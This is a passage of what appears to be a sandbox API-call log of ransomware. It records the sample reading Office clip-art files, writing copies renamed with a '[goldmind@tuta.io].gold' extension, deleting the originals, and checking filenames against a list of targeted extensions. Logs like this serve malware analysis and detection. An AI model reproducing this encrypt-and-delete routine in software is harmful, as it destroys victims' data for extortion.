dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.878] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.878] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0107.878] GetLastError () returned 0x0 [0107.878] ReadFile (in: hFile=0x3cc, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1338, lpOverlapped=0x0) returned 1 [0107.882] WriteFile (in: hFile=0x39c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1340, lpOverlapped=0x0) returned 1 [0107.883] ReadFile (in: hFile=0x3cc, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0107.883] WriteFile (in: hFile=0x39c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.883] SetEndOfFile (hFile=0x39c) returned 1 [0107.883] CloseHandle (hObject=0x39c) returned 1 [0107.883] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.883] SetEndOfFile (hFile=0x3cc) returned 1 [0107.885] CloseHandle (hObject=0x3cc) returned 1 [0107.885] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.886] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf")) returned 1 [0107.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0107.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0107.886] lstrlenW (lpString=".doc") returned 4 [0107.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.886] lstrlenW (lpString=".docx") returned 5 [0107.886] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0107.886] lstrlenW (lpString=".pdf") returned 4 [0107.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.886] lstrlenW (lpString=".xls") returned 4 [0107.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.886] lstrlenW (lpString=".xlsx") returned 5 [0107.886] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0107.886] lstrlenW (lpString=".ppt") returned 4 [0107.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0107.887] lstrlenW (lpString=".zip") returned 4 [0107.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.887] lstrlenW (lpString=".rar") returned 4 [0107.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.887] lstrlenW (lpString=".bz2") returned 4 [0107.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.887] lstrlenW (lpString=".7z") returned 3 [0107.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0107.887] lstrlenW (lpString=".dbf") returned 4 [0107.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0107.887] lstrlenW (lpString=".1cd") returned 4 [0107.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0107.887] lstrlenW (lpString=".jpg") returned 4 [0107.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0107.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0107.887] lstrlenW (lpString=".doc") returned 4 [0107.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.887] lstrlenW (lpString=".docx") returned 5 [0107.887] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0107.887] lstrlenW (lpString=".pdf") returned 4 [0107.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.887] lstrlenW (lpString=".xls") returned 4 [0107.887] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.887] lstrlenW (lpString=".xlsx") returned 5 [0107.887] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0107.887] lstrlenW (lpString=".ppt") returned 4 [0107.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0107.887] lstrlenW (lpString=".zip") returned 4 [0107.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.887] lstrlenW (lpString=".rar") returned 4 [0107.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.887] lstrlenW (lpString=".bz2") returned 4 [0107.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.887] lstrlenW (lpString=".7z") returned 3 [0107.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0107.887] lstrlenW (lpString=".dbf") returned 4 [0107.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0107.888] lstrlenW (lpString=".1cd") returned 4 [0107.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0107.888] lstrlenW (lpString=".jpg") returned 4 [0107.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.888] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.888] lstrlenW (lpString="J0107480.WMF") returned 12 [0107.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.889] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=6024) returned 1 [0107.889] CloseHandle (hObject=0x3cc) returned 1 [0107.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf")) returned 0x20 [0107.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.889] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.889] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0107.890] GetLastError () returned 0x0 [0107.890] ReadFile (in: hFile=0x3cc, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1788, lpOverlapped=0x0) returned 1 [0107.894] WriteFile (in: hFile=0x39c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1790, lpOverlapped=0x0) returned 1 [0107.895] ReadFile (in: hFile=0x3cc, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0107.895] WriteFile (in: hFile=0x39c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.895] SetEndOfFile (hFile=0x39c) returned 1 [0107.895] CloseHandle (hObject=0x39c) returned 1 [0107.895] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.895] SetEndOfFile (hFile=0x3cc) returned 1 [0107.897] CloseHandle (hObject=0x3cc) returned 1 [0107.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.897] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf")) returned 1 [0107.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0107.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0107.898] lstrlenW (lpString=".doc") returned 4 [0107.898] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.898] lstrlenW (lpString=".docx") returned 5 [0107.898] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0107.898] lstrlenW (lpString=".pdf") returned 4 [0107.898] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.898] lstrlenW (lpString=".xls") returned 4 [0107.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.898] lstrlenW (lpString=".xlsx") returned 5 [0107.898] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0107.898] lstrlenW (lpString=".ppt") returned 4 [0107.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0107.898] lstrlenW (lpString=".zip") returned 4 [0107.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.898] lstrlenW (lpString=".rar") returned 4 [0107.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.898] lstrlenW (lpString=".bz2") returned 4 [0107.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.899] lstrlenW (lpString=".7z") returned 3 [0107.899] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0107.899] lstrlenW (lpString=".dbf") returned 4 [0107.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0107.899] lstrlenW (lpString=".1cd") returned 4 [0107.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0107.899] lstrlenW (lpString=".jpg") returned 4 [0107.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0107.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0107.899] lstrlenW (lpString=".doc") returned 4 [0107.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.899] lstrlenW (lpString=".docx") returned 5 [0107.899] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0107.899] lstrlenW (lpString=".pdf") returned 4 [0107.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.899] lstrlenW (lpString=".xls") returned 4 [0107.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.899] lstrlenW (lpString=".xlsx") returned 5 [0107.899] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0107.899] lstrlenW (lpString=".ppt") returned 4 [0107.899] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0107.899] lstrlenW (lpString=".zip") returned 4 [0107.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.899] lstrlenW (lpString=".rar") returned 4 [0107.899] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.899] lstrlenW (lpString=".bz2") returned 4 [0107.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.899] lstrlenW (lpString=".7z") returned 3 [0107.899] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0107.899] lstrlenW (lpString=".dbf") returned 4 [0107.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0107.899] lstrlenW (lpString=".1cd") returned 4 [0107.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0107.899] lstrlenW (lpString=".jpg") returned 4 [0107.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.900] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.900] lstrlenW (lpString="J0107482.WMF") returned 12 [0107.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.900] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=4980) returned 1 [0107.900] CloseHandle (hObject=0x3cc) returned 1 [0107.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf")) returned 0x20 [0107.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0107.901] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.901] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0107.902] GetLastError () returned 0x0 [0107.902] ReadFile (in: hFile=0x3cc, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1374, lpOverlapped=0x0) returned 1 [0107.905] WriteFile (in: hFile=0x39c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1380, lpOverlapped=0x0) returned 1 [0107.905] ReadFile (in: hFile=0x3cc, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0107.906] WriteFile (in: hFile=0x39c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.906] SetEndOfFile (hFile=0x39c) returned 1 [0107.906] CloseHandle (hObject=0x39c) returned 1 [0107.906] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0107.906] SetEndOfFile (hFile=0x3cc) returned 1 [0107.908] CloseHandle (hObject=0x3cc) returned 1 [0107.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf")) returned 1 [0107.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0107.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0107.910] lstrlenW (lpString=".doc") returned 4 [0107.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.910] lstrlenW (lpString=".docx") returned 5 [0107.910] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0107.910] lstrlenW (lpString=".pdf") returned 4 [0107.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.910] lstrlenW (lpString=".xls") returned 4 [0107.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.910] lstrlenW (lpString=".xlsx") returned 5 [0107.910] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0107.910] lstrlenW (lpString=".ppt") returned 4 [0107.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0107.910] lstrlenW (lpString=".zip") returned 4 [0107.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.910] lstrlenW (lpString=".rar") returned 4 [0107.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.910] lstrlenW (lpString=".bz2") returned 4 [0107.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.910] lstrlenW (lpString=".7z") returned 3 [0107.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0107.910] lstrlenW (lpString=".dbf") returned 4 [0107.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0107.910] lstrlenW (lpString=".1cd") returned 4 [0107.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0107.910] lstrlenW (lpString=".jpg") returned 4 [0107.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0107.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0107.911] lstrlenW (lpString=".doc") returned 4 [0107.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.911] lstrlenW (lpString=".docx") returned 5 [0107.911] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0107.911] lstrlenW (lpString=".pdf") returned 4 [0107.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.911] lstrlenW (lpString=".xls") returned 4 [0107.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.911] lstrlenW (lpString=".xlsx") returned 5 [0107.911] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0107.911] lstrlenW (lpString=".ppt") returned 4 [0107.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0107.911] lstrlenW (lpString=".zip") returned 4 [0107.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.911] lstrlenW (lpString=".rar") returned 4 [0107.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.911] lstrlenW (lpString=".bz2") returned 4 [0107.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.911] lstrlenW (lpString=".7z") returned 3 [0107.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0107.911] lstrlenW (lpString=".dbf") returned 4 [0107.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0107.911] lstrlenW (lpString=".1cd") returned 4 [0107.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0107.911] lstrlenW (lpString=".jpg") returned 4 [0107.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.911] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.911] lstrlenW (lpString="J0107484.WMF") returned 12 [0107.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.101] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=3040) returned 1 [0108.101] CloseHandle (hObject=0x188) returned 1 [0108.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf")) returned 0x20 [0108.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0108.116] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.116] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0108.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 